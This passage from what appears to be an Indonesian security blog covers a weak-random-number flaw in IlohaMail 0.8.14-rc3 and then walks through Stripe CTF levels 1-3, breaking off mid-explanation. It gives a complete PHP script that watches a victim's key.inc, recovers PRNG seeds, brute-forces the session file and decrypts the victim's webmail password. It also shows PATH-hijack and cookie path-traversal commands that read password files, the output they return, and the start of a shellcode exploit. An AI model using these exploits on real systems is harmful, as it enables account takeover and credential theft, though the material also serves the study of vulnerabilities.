kebocoran seed melalui cookie yang berisi random password, dari random
password bisa diketahui seed yang dipakai. Melalui teknik ini, seorang
hacker bisa menguasai akun korban tanpa perlu membaca email korban.
Case Study #4: Predicting Session ID (IlohaMail <= 0.8.14-rc3)
Lab Download: IlohaMail 0.8.14-RC3 and Script attack IlohaMail
IlohaMail adalah webmail open source
yang cukup populer (ask google). Saya menemukan weak random number
vulnerability pada aplikasi ini sehingga kita bisa mendapatkan username
dan password user yang sedang login.
Session file
Setiap user berhasil login ke webmail,
username dan password user tersebut disimpan dalam bentuk encrypted di
file session yang formatnya, /data/sessions/xxxxxxxxxx-yyyyy.inc, dimana
xxxxxxxxx adalah unix timestamp dalam detik, waktu ketika user tersebut
login, dan yyyyy adalah suatu random number. File session ini hanya ada
selama user tersebut masih login, setelah user tersebut logout file ini
akan dihapus.
Gabungan dari unix time dan 5 digit random number berfungsi sebagai session id dalam ilohamail.
Contoh file session adalah:
Dalam gambar di atas, session id user
tersebut adalah ’1343353564-90856′. File pada gambar di atas adalah
session file yang mengandung username dan password dalam bentuk
encrypted yang nantinya akan kita dekrip. Jadi file ini adalah target
utama kita bila ingin mencuri username dan password seorang user.
Sebelumnya ada tiga masalah yang harus kita pecahkan untuk mendapatkan user dan password seorang user dari session file:
- unix time dalam detik ketika seorang user target login
- 5 digit random number yang menjadi bagian session id
- encryption key untuk mendekrip user dan password user
Encryption Key
Kita beruntung karena encryption key untuk mendekrip user dan
password dalam session file tersedia dan bisa dibaca di folder
/data/users/username.host/key.inc.
File key.inc isinya hanya satu baris saja berisi variabel $passkey dan encryption keynya.
Dari file ini kita bisa tahu kunci untuk
mendekrip username dan password seorang user. Namun masih ada 2
persoalan lagi, kita belum tahu nama session filenya karena nama file
session terdiri dari unix time ketika user login dan 5 digit random
number.
Leaked Logon Time
Kalau kita request file key.inc dari web
server, kita akan mendapatkan informasi kapan file tersebut diubah dari
response header ‘Last-Modified-Header’.
Berikut adalah contoh traffic HTTP ketika kita meminta file key.inc dari server.
* About to connect() to localhost port 8888 (#0) * Trying ::1... connected * Connected to localhost (::1) port 8888 (#0) > GET /ilohamail0814rc3/data/users/rizki@ilmuhacking.com.ilmuhacking.com/key.inc HTTP/1.1 > User-Agent: curl/7.21.4 (universal-apple-darwin11.0) libcurl/7.21.4 OpenSSL/0.9.8r zlib/1.2.5 > Host: localhost:8888 > Accept: */* > < HTTP/1.1 200 OK < Date: Fri, 27 Jul 2012 02:32:26 GMT < Server: Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/0.9.8r DAV/2 PHP/5.4.4 < Last-Modified: Fri, 27 Jul 2012 01:46:04 GMT < ETag: "20e651-25-4c5c5dffd6f00" < Accept-Ranges: bytes < Content-Length: 37 < Content-Type: text/plain < * Connection #0 to host localhost left intact * Closing connection #0 <!--?php $passkey="llikn1JzvLOnkYJ0"; ?--> |
Dari response header ‘Last-Modified’
kita mendapat informasi bahwa user rizki@ilmuhacking.com login pada 27
Juli 2012, 01:46:04 GMT, atau kalau diubah dalam bentuk unix time
menjadi 1343353564. Jadi kini kita sudah bisa menjawab persoalan unix
time ketika user target login dari header Last-Modified.
Random Number Session ID
Tinggal satu persoalan lagi yang harus
kita pecahkan, yaitu dari mana kita tahu 5 digit random number yang
menjadi bagian dari session id ?
Lagi-lagi kita berhadapan dengan misteri
random number. Ingat untuk bisa memprediksi random number, yang kita
butuhkan adalah seed yang dipakai PRNGnya. Adakah kebocoran seed disini?
Ternyata ada kebocoran seed dari
encryption key yang kita dapatkan dari file key.inc. Mari kita lihat
bagaimana file key.inc dibuat:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | $path=GetPrefsFolder($user_name, $host, $new_user); if ($path){ // create session ID if (!isset($session)){ $session=time()."-".GenerateRandomString(5,"0123456789"); $user=$session; } // generate random session key $key=GenerateMessage(strlen($password)+5); // save session key in $userPath/key.inc $fp=fopen($path."/key.inc", 'w'); if ($fp){ fputs($fp, '<!--?php $passkey="'.$key.'"; ?-->'); fclose($fp); } // encrypt login ID, host, and passwords $encpass = EncryptMessage($key, $password); $encHost = EncryptMessage($key, $host); $encUser = EncryptMessage($key, $user_name); |
Pada baris ke-6 di atas terlihat bahwa
session ID terdiri dari unix time (yang sudah kita dapatkan) dan hasil
dari GenerateRandomString(). Pada baris ke-11 terlihat bahwa encryption
key yang disimpan dalam file key.inc digenerate oleh fungsi
GenerateMessage().
Mari kita lihat definisi GenerateRandomString() dan GenerateMessage().
function GenerateRandomString($messLen, $seed){ srand ((double) microtime() * 1000000); if (empty($seed)) $seed="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; $seedLen=strlen($seed); if ($messLen==0) $messLen = rand(10, 20); for ($i=0;$i<$messLen;$i++){ $point=rand(0, $seedLen-1); $message.=$seed[$point]; } return $message; } function GenerateMessage($messLen){ $seed="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; return GenerateRandomString($messLen, $seed); } |
Ternyata GenerateMessage() yang dipakai
untuk men-generate encryption key dalam key.inc juga memakai fungsi
GenerateRandomString(), jadi kita hanya fokuskan pembahasan pada
GenerateRandomString() saja.
Seperti pada kasus sebelumnya, PRNG
dalam GenerateRandomString() diberi seed dengan microtime() dikali 1
juta, artinya hanya ada 1 juta kemungkinan nilai seed. Karena hanya ada 1
juta kemungkinan nilai seed, maka random string yang di-generate juga
hanya ada 1 juta kemungkinan dan ada hubungan 1 ke 1 antara seed dan
random string yang di-generate. Ini artinya dari seed kita bisa dapatkan
random string dan sebaliknya dari random string bisa kita ketahui
berapa seed yang dipakai PRNGnya.
Adanya hubungan pemetaan 1 ke 1 antara
seed dan random string yang digenerate artinya kita bisa mengetahui seed
yang dipakai untuk men-generate encryption key dalam key.inc, dari
sinilah kebocoran seed terjadi.
Agar proses pencarian seed lebih cepat
mari kita buat look up table yang memetakan antara seed (1 juta seed)
dan random string yang digenerate. Dengan adanya tabel ini kita bisa
mencari dalam tabel tanpa harus menghitung lagi. Berikut adalah script
untuk generate 1 juta seed dan random stringnya.
Setelah selesai proses generate, kita
kini memiliki tabel berisi 1 juta seed dan random string yang digenerate
dengan seed tersebut. Mari kita coba dengan tabel ini mencari seed dari
encryption key ‘llikn1JzvLOnkYJ0′ yang kita dapatkan dari key.inc.
Seed Encryption Key vs Seed Session ID
Dari lookup table, kita dapatkan seed
yang dipakai PRNG untuk men-generate untuk encryption key tersebut
adalah 233189. Tapi jangan lupa bahwa yang kita cari bukan seed untuk
encryption key, yang kita cari adalah seed untuk generate 5 digit
session ID.
Lalu apakah seed yang dipakai untuk men-generate encryption key sama
dengan seed yang dipakai untuk men-generate 5 digit session id ?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | $path=GetPrefsFolder($user_name, $host, $new_user); if ($path){ // create session ID if (!isset($session)){ $session=time()."-".GenerateRandomString(5,"0123456789"); $user=$session; } // generate random session key $key=GenerateMessage(strlen($password)+5); // save session key in $userPath/key.inc $fp=fopen($path."/key.inc", 'w'); if ($fp){ fputs($fp, '<!--?php $passkey="'.$key.'"; ?-->'); fclose($fp); } // encrypt login ID, host, and passwords $encpass = EncryptMessage($key, $password); $encHost = EncryptMessage($key, $host); $encUser = EncryptMessage($key, $user_name); |
Kalau kita perhatikan urutannya dari
source code di atas, yang pertama di-generate adalah 5 digit session id
(di baris 6), baru kemudian generate encryption key (di baris 11). Ingat
bahwa keduanya memakai fungsi yang sama, GenerateRandomString() yang
didalamnya dilakukan seeding PRNG dengan microsecond, sehingga seed yang
dipakai untuk generate encryption key berbeda dengan seed yang dipakai
untuk generate 5 digit session ID.
Karena seed adalah microsecond, artinya
perbedaan seed antara keduanya adalah perbedaan waktu eksekusi dalam
microsecond. Bisa disimpulkan bahwa seed untuk generate 5 digit session
ID adalah beberapa microsecond sebelum seed untuk generate encryption
key, atau seed session ID < seed encryption key.
Tergantung dari mesin yang dipakai,
perbedaan waktu antara keduanya umumnya tidak banyak, mungkin paling
banyak hanya mencoba 100 kali. Agar lebih cepat lagi, kalau kita yakin
bahwa perbedaan waktunya > 30 microsecond, kita bisa mulai brute
force mundur mulai dari seed encryption key – 30, tidak mulai dari seed
encryption key.
Gambar di bawah ini menunjukkan script
melakukan brute force mundur mulai dari seed encryption key-30, dan
menemukan seednya hanya dalam 15 kali percobaan.
Script di atas berhasil mendapatkan
session file yaitu 1343353564-90856.inc dengan sangat cepat hanya dengan
beberapa percobaan saja. Hal ini bisa dilakukan karena kita sudah tahu
bahwa seed untuk generate session ID adalah beberapa microsecond sebelum
seed untuk generate encryption key.
File session ini hanya akan ada selama user tersebut masih belum logout,
begitu user tersebut logout, file session akan dihapus, walaupun file
key.inc akan tetap ada. Jadi agar serangan berhasil kita harus secepat
mungkin mengambil session file begitu korban login, sebelum dia logout.
Dari mana kita tahu bahwa korban yang kita target baru saja login? Kita
bisa tahu “last login” seorang user dari header Last-Modified yang kita
terima ketika request file key.inc user tersebut. Bila kita sudah tahu
calon korban yang kita target, kita bisa membuat script yang setiap
menit memonitor file key.inc user tersebut, begitu user tersebut baru
saja login (dari Last-Modified header), secepatnya langsung kita ambil
session filenya dan mendekrip passwordnya.
Gambar di atas memperlihatkan sebuah script yang memonitor seorang
target korban, dari jamnya terlihat bahwa setelah script berjalan 1 jam,
baru korban login.
- Setiap menit script melihat Last-Modified header dari key.inc
- Begitu diketahui key.inc baru dimodifikasi 1 menit yang lalu, artinya target baru login
- Script mencari seed encryption key dari lookup table
- Script melakukan brute force mundur untuk mencari seed 5 digit session ID
- Script membaca session file
- Script mendekripsi password korban
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 | <?php mysql_connect("127.0.0.1","root","root"); mysql_select_db("iloha"); print @date("Y-m-d H:i:s").">> Menunggu target login...\n"; while (true) { $user = 'rizki@ilmuhacking.com'; $mxhost = 'ilmuhacking.com'; $url = "http://localhost:8888/ilohamail0814rc3/data/users/${user}.${mxhost}/key.inc"; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_FILETIME, true); curl_setopt($curl, CURLOPT_TIMEOUT, 15); $result = curl_exec($curl); $timestamp = intval(curl_getinfo($curl, CURLINFO_FILETIME)); $delta=time()-$timestamp; if ( $delta < 60 ) { // baru login di bawah 1 menit yang lalu print @date("Y-m-d H:i:s").">> Target baru login $delta detik yang lalu\n"; $count = preg_match_all('#"(.*)"#',$result,$matches); if ($count == 1) { $key = $matches[1][0]; $lenkey = strlen($key); $sql = "select `seed` from `keyseed` where `key` LIKE '$key%'"; $res = mysql_query($sql); $arr = mysql_fetch_array($res); $seed = intval($arr[0]); print @date("Y-m-d H:i:s").">> Encryption key --> $key\n"; print @date("Y-m-d H:i:s").">> Timestamp: $timestamp\n"; print @date("Y-m-d H:i:s").">> Seed that generated '$key': $seed\n"; $mulai = $seed-40; print @date("Y-m-d H:i:s").">> Brute forcing random seed around $mulai ...\n"; $end = $seed - 700; for ($i = $mulai; $i > $end; $i--) { $guess = GenerateRandomString(5,"0123456789",$i); $filename = sprintf("%d-%05d.inc",$timestamp,$guess); $url = sprintf("http://localhost:8888/ilohamail0814rc3/data/sessions/$filename",$waktu,$i); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_TIMEOUT, 15); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_FILETIME, false); $sess = curl_exec($curl); if ($sess === false) { continue; } if (!empty($sess) && strpos($sess,"GetPassword")>-1) { $sess = trim($sess); print @date("Y-m-d H:i:s").">> Seed: $i >> Generated random number: $guess >> OK\n$url\n"; $count = preg_match_all('#"(.*)"#',$sess,$matches); if ($count == 4) { $password = $matches[1][0]; $host = $matches[1][1]; $username = $matches[1][2]; $userpath = $matches[1][3]; $decoded_user = DecodeMessage($key,$username); $decoded_pass = DecodeMessage($key,$password); print @date("Y-m-d H:i:s").">> Decrypted >>>> $decoded_pass \n"; } die(); } else { print @date("Y-m-d H:i:s").">> Seed: $i >> Generated random number: $guess >> Not Found\n"; } } } } sleep(30); } function GenerateRandomString($messLen, $seed, $seedkey){ srand ((double)$seedkey); $message = ""; if (empty($seed)) $seed="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; $seedLen=strlen($seed); if ($messLen==0) $messLen = rand(10, 20); for ($i=0;$i<$messLen;$i++){ $point=rand(0, $seedLen-1); $message.=$seed[$point]; } return $message; } function DecodeMessage($pass, $message){ $message=base64_decode($message); $messLen=strlen($message); $passLen=strlen($pass); $decMessage=""; for ($i=0;$i<$messLen;$i++){ $j=$i % $passLen; $num=ord($message[$i]); $decNum=(($num + 128) - ord($pass[$j])) % 128; $decMessage.=chr($decNum); } return $decMessage; } ?> |
Beberapa hari yang lalu stripe membuat
permainan wargames CTF (capture the flag). Dari semua 6 level, di
tulisan ini saya hanya membahas level 1-5 saja karena level 6 saya belum
berhasil menemukan vulnerabilitynya, mungkin next time saya tulis lagi
kalau sudah ketemu jawabannya.
Pada intinya di setiap level disediakan
aplikasi dan source codenya, kemudian kita harus bisa menyalahgunakan
aplikasi tersebut untuk membaca file password. Oke langsung saja mulai
dari level 1.
Level 01
Seperti petunjuk di blog stripe, untuk
ikut permainan ini kita harus ssh dulu ke level01@ctf.stri.pe dengan
password:e9gx26YEb2. Setelah login ssh berhasil, kita disambut dengan
petunjuk permainan di level01:
Welcome to the Stripe CTF challenge! Stripe CTF is a wargame, inspired by SmashTheStack I/O[1]. In /home/level02/.password is the SSH password for the level02 user. Your mission, should you choose to accept it, is to read that file. You may find the binary /levels/level01 and its source code /levels/level01.c useful. We've created a scratch directory for you in /tmp. There are a total of 6 levels in this CTF; if you're stuck, feel free to email ctf@stripe.com for guidance. |
Goalnya adalah membaca file berisi
password /home/level02/.password yang permissionnya sudah diset hanya
bisa dibaca oleh level02. Jadi bagaimana caranya user level01 bisa
membaca file yang hanya bisa dibaca oleh user level02 ? Disinilah
tantangannya.
Sudah disediakan aplikasi /levels/level01 dengan owner file adalah
level02 dan suid bit diaktifkan, artinya aplikasi ini dijalankan sebagai
(runas) level02. Karena aplikasi ini runas level02, tentu aplikasi ini
punya privilege untuk membaca file password yang kita inginkan.
-r-Sr-x--- 1 level02 level01 8617 2012-02-23 02:31 /levels/level01 |
Tapi sayangnya aplikasi ini bukan aplikasi yang membaca file, aplikasi ini hanya menampilkan current time saja.
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01 Current time: Mon Feb 27 14:38:49 UTC 2012 level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01 Current time: Mon Feb 27 14:38:56 UTC 2012 level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ |
Mungkinkah aplikasi yang menampilkan current time bisa disalahgunakan untuk membaca file? Bila mungkin, bagaimana caranya?
Kalau ditanya mungkinkah, tentu jawabnya mungkin, sebab untuk apa
membuat game CTF yang tidak mungkin dikerjakan, hehe? Oke sekarang
bagaimana caranya? Tentu kita harus mencari bug yang bisa diexploit agar
aplikasi yang tampaknya innocent dan hanya melakukan satu hal
sederhana bisa disalahgunakan. Mari kita lihat source code dari aplikasi
ini.
#include #include int main(int argc, char **argv) { printf("Current time: "); fflush(stdout); system("date"); return 0; } |
Aplikasi yang sangat sederhana, hanya terdiri dari 3 pemanggilan fungsi
saja, printf(), fflush() dan system(). Dari ketiga fungsi tersebut
printf() dan fflush() tidak ada masalah, yang mungkin untuk diexploit
tinggal system() karena fungsi ini mengeksekusi shell command.
Fungsi system() mengeksekusi “date”, tentu yang dimaksud oleh
programmernya adalah /bin/date yang menampilkan current time. Tapi dari
mana OS tahu bahwa yang dimaksud adalah /bin/date bila programmernya
hanya menuliskan “date” saja, bukan “/bin/date” ? Jawabannya adalah dari
environment variable PATH.
Bila kita ubah PATH ke direktori lain selain /bin, maka kita bisa
membuat aplikasi tersebut mengeksekusi “date” yang sudah kita siapkan
untuk membaca file, bukan /bin/date yang menampilkan current time
seperti yang diharapkan programmernya.
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ export PATH=/tmp/tmp.jaJ1JT4TIp:$PATH level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ echo '#!/bin/bash -p > cat /home/level02/.password' > date level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ chmod 755 date level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ ls -l date -rwxr-xr-x 1 level01 level01 43 2012-02-27 14:58 date level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01 Current time: kxlVXUvzv |
Setelah PATH variabel disesuaikan dan “date” kita siapkan, aplikasi
/levels/level01 sekarang tidak lagi menampilkan current time, tapi
menampilkan isi file /home/level02/.password. Hal ini bisa terjadi
karena yang dieksekusi fungsi system() bukan /bin/date melainkan
/tmp/tmp.jaJ1JT4TIp/date.
Level 02
Setelah mendapatkan password level02, kita ssh ke level02@ctf.stri.pe.
Lagi-lagi kita disambut dengan ucapan selamat dan petunjuk baru.
Congratulations on making it to level 2! The password for the next level is in /home/level03/.password. This one is a web-based vulnerability, so go ahead and point your browser to http://ctf.stri.pe/level02.php. You'll need to provide the password for level02 using HTTP digest authentication. You can find the source code for level02.php in /var/www/. |
Goalnya mirip dengan sebelumnya yaitu membaca file berisi password di
/home/level03/.password. Tapi kali ini agak berbeda karena aplikasinya
adalah web based yang dibuat dengan PHP. PHP script ini dijalankan
sebagai user level03 melalui teknik semacam CGI, jadi seperti kasus
sebelumnya, kita juga harus menyalahgunakan aplikasi PHP ini untuk
membaca file /home/level03/.password.
Mari kita lihat source code aplikasinya:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | <?php function random_string($max = 20){ $chars = "abcdefghijklmnopqrstuvwxwz0123456789"; for($i = 0; $i < $max; $i++){ $rand_key = mt_rand(0, strlen($chars)); $string .= substr($chars, $rand_key, 1); } return str_shuffle($string); } $out = ''; if (!isset($_COOKIE['user_details'])) { $out = "<p>Looks like a first time user. Hello, there!</p>"; $filename = random_string(16) . ".txt"; $f = fopen('/tmp/level02/' . $filename, 'w'); $str = $_SERVER['REMOTE_ADDR']." using ".$_SERVER['HTTP_USER_AGENT']; fwrite($f, $str); fclose($f); setcookie('user_details', $filename); } else { $out = file_get_contents('/tmp/level02/'.$_COOKIE['user_details']); } ?> <html> <head> <title>Level02</title> </head> <body> <h1>Welcome to the challenge!</h1> <div class="main"> <p><?php echo $out ?></p> <?php if (isset($_POST['name']) && isset($_POST['age'])) { echo "You're ".$_POST['name'].", and your age is ".$_POST['age']; } else { ?> <form action="#" method="post"> Name: <input name="name" type="text" length="40" /><br /> Age: <input name="age" type="text" length="2" /><br /><br /> <input type="submit" value="Submit!" /> </form> <?php } ?> </div> </body> </html> |
Bila dalam kasus sebelumnya aplikasinya hanya menampilkan current time
dan tidak membaca file sama sekali, kali ini aplikasi ini melakukan
banyak hal, salah satunya adalah membaca file. Tapi tentu saja file yang
dibaca aplikasi php ini bukanlah file /home/level03/.password yang kita
harapkan.
Pada baris ke-23, aplikasi ini membaca file yang berlokasi di direktori
/tmp/level02/, padahal file yang kita inginkan berada di direktori
/home/level03/. Bagaimana caranya membuat aplikasi yang membaca file di
/tmp/level02/ menjadi membaca file di /home/level03/ ?
Perhatikan lagi baris ke-23, nama file yang akan dibaca diambil dari
COOKIE bernama user_details. Nama file ini kemudian digabungkan dengan
string “/tmp/level02/” sehingga membentuk path lengkap file yang akan
dibaca. Karena COOKIE berasal dari input user dan tidak ada validasi
apapun di aplikasi tersebut, maka user bebas mengisikan nama file apa
saja yang ingin dibaca melalui COOKIE.
Bila COOKIE berisi “abcd.txt”, maka aplikasi akan membaca
“/tmp/level02/abcd.txt”. Namun bagaimana bile COOKIE berisi
“../../etc/passwd” ? Nama file yang akan dibaca menjadi
“/tmp/level02/../../etc/passwd” atau sama saja dengan “/etc/passwd”.
$ curl --cookie "user_details=../../etc/passwd" --digest --user level02:kxlVXUvzv http://ctf.stri.pe/level02.php |
<html> <head> <title>Level02</title> </head> <body> <h1>Welcome to the challenge!</h1> <div class="main"> <p>root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false messagebus:x:102:107::/var/run/dbus:/bin/false haldaemon:x:103:108:Hardware abstraction layer,,,:/var/run/hald:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin landscape:x:105:109::/var/lib/landscape:/bin/false ubuntu:x:1000:1000:Ubuntu,,,:/home/ubuntu:/bin/bash postfix:x:106:113::/var/spool/postfix:/bin/false level01:x:1001:1002::/home/level01:/bin/bash level02:x:1002:1003::/home/level02:/bin/bash level03:x:1003:1004::/home/level03:/bin/bash level04:x:1004:1005::/home/level04:/bin/bash level05:x:1005:1006::/home/level05:/bin/bash level06:x:1006:1007::/home/level06:/bin/bash the-flag:x:1007:1008::/home/the-flag:/bin/bash </p> <form action="#" method="post"> Name: <input name="name" type="text" length="40" /><br /> Age: <input name="age" type="text" length="2" /><br /><br /> <input type="submit" value="Submit!" /> </form> </div> </body> </html> |
Sekarang jelas bagaimana cara untuk membaca file lain di luar
/tmp/level02/ yaitu dengan prefix “../../”. Kini kita bisa membaca file
/home/level03/.password dengan COOKIE user_details berisi
“../../home/level03/.password”.
$ curl --cookie "user_details=../../home/level03/.password" --digest --user level02:kxlVXUvzv http://ctf.stri.pe/level02.php |
<html> <head> <title>Level02</title> </head> <body> <h1>Welcome to the challenge!</h1> <div class="main"> <p>Or0m4UX07b </p> <form action="#" method="post"> Name: <input name="name" type="text" length="40" /><br /> Age: <input name="age" type="text" length="2" /><br /><br /> <input type="submit" value="Submit!" /> </form> </div> </body> </html> |
Kita lanjutkan ke level 3, kali ini tantangannya kembali lagi ke
aplikasi binary dengan goal sama dengan sebelumnya, yaitu membaca file
/home/level04/.password dengan cara menyalahgunakan aplikasi
/levels/level03.
Congratulations on making it to level 3! The password for the next level is in /home/level04/.password. As before, you may find /levels/level03 and /levels/level03.c useful. While the supplied binary mostly just does mundane tasks, we trust you'll find a way of making it do something much more interesting. |
Sebelumnya mari kita coba dulu aplikasi /levels/level03.
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 Usage: ./level03 INDEX STRING Possible indices: [0] to_upper [1] to_lower [2] capitalize [3] length level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 0 test Uppercased string: TEST level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 1 test Lowercased string: test level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 2 test Capitalized string: Test level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 3 test Length of string 'test': 4 level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 5 test Invalid index. Possible indices: [0] to_upper [1] to_lower [2] capitalize [3] length level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 100 test Invalid index. Possible indices: [0] to_upper [1] to_lower [2] capitalize [3] length |
Aplikasi ini hanya melakukan operasi sederhana pada string. Dalam
aplikasi ini tidak ada operasi baca file sama sekali, padahal yang kita
inginkan adalah aplikasi ini membaca file /home/level04/.password.
Bagaimanakah caranya?
Berikut ini adalah source code aplikasinya.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 | #include <stdio.h> #include <string.h> #include <stdlib.h> #include <ctype.h> #define NUM_FNS 4 typedef int (*fn_ptr)(const char *); int to_upper(const char *str) { printf("Uppercased string: "); int i = 0; for (i; str[i]; i++) putchar(toupper(str[i])); printf("\n"); return 0; } int to_lower(const char *str) { printf("Lowercased string: "); int i = 0; for (i; str[i]; i++) putchar(tolower(str[i])); printf("\n"); return 0; } int capitalize(const char *str) { printf("Capitalized string: "); putchar(toupper(str[0])); int i = 1; for (i; str[i]; i++) putchar(tolower(str[i])); printf("\n", str); return 0; } int length(const char *str) { int len = 0; for (len; str[len]; len++) {} printf("Length of string '%s': %d\n", str, len); return 0; } int run(const char *str) { // This function is now deprecated. return system(str); } int truncate_and_call(fn_ptr *fns, int index, char *user_string) { char buf[64]; // Truncate supplied string strncpy(buf, user_string, sizeof(buf) - 1); buf[sizeof(buf) - 1] = '\0'; return fns[index](buf); } int main(int argc, char **argv) { int index; fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length}; if (argc != 3) { printf("Usage: ./level03 INDEX STRING\n"); printf("Possible indices:\n[0] to_upper\t[1] to_lower\n"); printf("[2] capitalize\t[3] length\n"); exit(-1); } // Parse supplied index index = atoi(argv[1]); if (index >= NUM_FNS) { printf("Invalid index.\n"); printf("Possible indices:\n[0] to_upper\t[1] to_lower\n"); printf("[2] capitalize\t[3] length\n"); exit(-1); } return truncate_and_call(fns, index, argv[2]); } |
Ada beberapa kelemahan dalam aplikasi ini. Pertama adalah pemakaian
function pointer. Pemakaian function pointer bila tidak hati-hati bisa
dieksploitasi untuk mengeksekusi function/code lain yang tidak
diharapkan programmernya.
Aplikasi ini tidak secara langsung memanggil nama fungsi, tapi melalui
kumpulan function pointer yang disimpan dalam array bernama fns (lihat
baris ke-68). Array fns ini menyimpan alamat dari fungsi to_upper() di
index [0], alamat fungsi to_lower() di index [1], alamat fungsi
capitalize() di index [2] dan alamat fungsi length() di index[3] terurut
sesuai index dalam array sehingga bila user memasukkan index 0, maka
fungsi yang dipanggil adalah to_upper(), bila index 1, maka yang
dipanggil adalah fungsi to_lower() dan seterusnya.
Array index out of bounds
Pada baris ke-80, ada pengecekan/validasi index, bila index >= 4,
maka program akan menampilkan pesan errror kemudian exit(). Validasi ini
mencegah pengaksesan array fns dengan index >= 4 karena batas atas
index array fns adalah 3.
Namun validasi ini tidak sempurna karena hanya membatasi index di batas
atas saja, sedangkan batas bawahnya tidak di batasi. Batas bawah index
array fns seharusnya adalah 0, tapi validasi ini tidak mencegah bila
index yang dimasukkan < 0 (index negatif).
Negative index array
Mungkinkah ada array dengan index negative ? Dalam bahasa C, array tidak
lebih hanyalah pointer saja, dan index array hanya berfungsi sebagai
offset.
Karena fns adalah array of function pointer, setiap kotak index di
gambar di atas mengandung alamat memori code yang nanti akan dieksekusi
bila dipanggil (dalam low levelnya adalah instruksi CALL ke alamat
tersebut). Kotak index[0] berisi alamat to_upper(), index[1] berisi
alamat to_lower(), index[2] berisi alamat capitalize() dan index[3]
berisi alamat length(). Lalu index[4], index[-1] dan index[-2] berisi
alamat fungsi apa?
index[-1], index[-2] dan index[4] sebenarnya isinya tidak terdefinisi,
jadi bisa berisi data apa saja yang kebetulan lokasinya berdampingan
dengan array fns. Bisa jadi isinya adalah isi dari variabel lain di
memori.
Cara 1
Pada percobaan pertama saya mencoba menginjeksi shellcode dan membuat
fns merujuk pada alamat shellcode tersebut berada dengan index array
negatif, sehingga shellcode tersebut akan dieksekusi. Shellcode nantinya
akan saya injeksi sebagai input string (argv[2]).
Bagaimana saya tahu shellcode nanti akan disimpan di alamat mana? Karena
adanya ASLR (address space layout randomization), maka lokasi shellcode
sulit diprediksi. Oleh karena itu saya memakai teknik CALL EAX. Dalam
fungsi truncate_and_call() ada pemanggilan fungsi strncpy(), return dari
strncpy() adalah address of buf, sehingga dijamin register EAX akan
berisi alamat buf setelah strncpy() selesai.
int truncate_and_call(fn_ptr *fns, int index, char *user_string) { char buf[64]; // Truncate supplied string strncpy(buf, user_string, sizeof(buf) - 1); buf[sizeof(buf) - 1] = '\0'; return fns[index](buf); } |
Setelah EAX dijamin merujuk pada buf, maka kita tinggal mencari lokasi
memori yang mengandung instruksi CALL EAX (karena EAX = address of buf,
maka CALL EAX = execute shellcode in buf).
$ objdump -d /levels/level03|grep call|grep eax 8048598: ff 14 85 14 9f 04 08 call *0x8049f14(,%eax,4) 80485df: ff d0 call *%eax 804892b: ff d0 call *%eax |
Saya ambil salah satu saja, yaitu call eax di 0x0804892b. Ini adalah
